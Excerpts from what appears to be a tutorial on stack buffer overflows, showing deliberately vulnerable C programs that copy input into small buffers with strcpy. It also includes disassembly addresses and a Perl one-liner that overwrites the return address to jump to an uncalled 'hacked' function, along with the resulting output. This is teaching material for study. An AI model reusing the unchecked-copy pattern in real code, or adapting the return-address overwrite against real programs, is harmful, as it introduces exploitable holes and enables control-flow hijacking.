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1 // The example has been tested in Visual Studio 6.0 on  

2 // Windows XP (no Service Pack, it should work on  

3 // windows XP sp2 VS 7.x as well but you have to disable “/GS” Flag). 

4 #include "stdafx.h" 

5 #include <string.h> 

6 void main() 

7 { 

8 char var[10]; 

9 strcpy( var, "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH\n" ); 

10 printf( var ); 

11 } 
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1 // Perl will be used to build the command line argument. Note if you are using visual 

studio 7.x ensure you compile with “/GS” flag disabled.  

2 //basichacked.cpp 

3  

4 #include "stdafx.h" 

5 #include "string.h" 

6 #include "stdlib.h" 

7  

8 //Function copy performs a copy into variable var and exits. 

9 int copy(char* input) 

10 { 

11 char var[20]; 

12 strcpy (var, input); 

13 return 0; 

14 } 

15  

16 // Function hacked prints out a string to the console, is not called 

17 // anywhere and note it exits using exit function, which exits the 

18 // whole program, not just the function hacked. 

19 int hacked(void) 

20 { 

21 printf("Can you see me now ?\n"); 

22 exit(0); 

23 } 

24  

25 int main(int argc, char* argv[]) 

26 {  

27 if(argc < 2) 

28 { 

29 printf("Usage: %s <string>\r\n", argv[0]); 

30 printf("written by Nish[a-t]securitycompass.com”); 

31  

32 exit(1); 

33 } 

34 //prints the address of function hacked onto the console. 

35 printf("Address of function: 0x%08x\n", hacked);   

36 //passes argument 1 to the function copy. 

37 copy(argv[1]); 

38 return 0; 

39 } 
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>basic.exe AAAABBBBCCCCDDDD 

Address of function hacked: 0x0040100f 
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@ILT+0(?copy@@YAHPAD@Z): 

00401005   jmp         copy (00401030) 

@ILT+5(_main): 

0040100A   jmp         main (004010d0) 

@ILT+10(?hacked@@YAHXZ): 

0040100F   jmp         hacked (00401080) 
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Copy Starts at Memory Location : 00401030 

Copy Ends   at Memory Location : 0040106A 

 

Hacked starts at Memory Location : 00401080 

Hacked ends at Memory Location   : 004010BC 

 

Main starts at Memory Location : 004010D0   

Main ends at Memory Location   : 0040113B 
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40 $arg = "AAAAABBBBBCCCCCDDDDDEEEE"."\x0f\x10\x40"; 

41 $cmd = "./basichacked.exe ".$arg; 

42 system($cmd); 
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Address of function: 0x0040100f 

Can you see me now ? 
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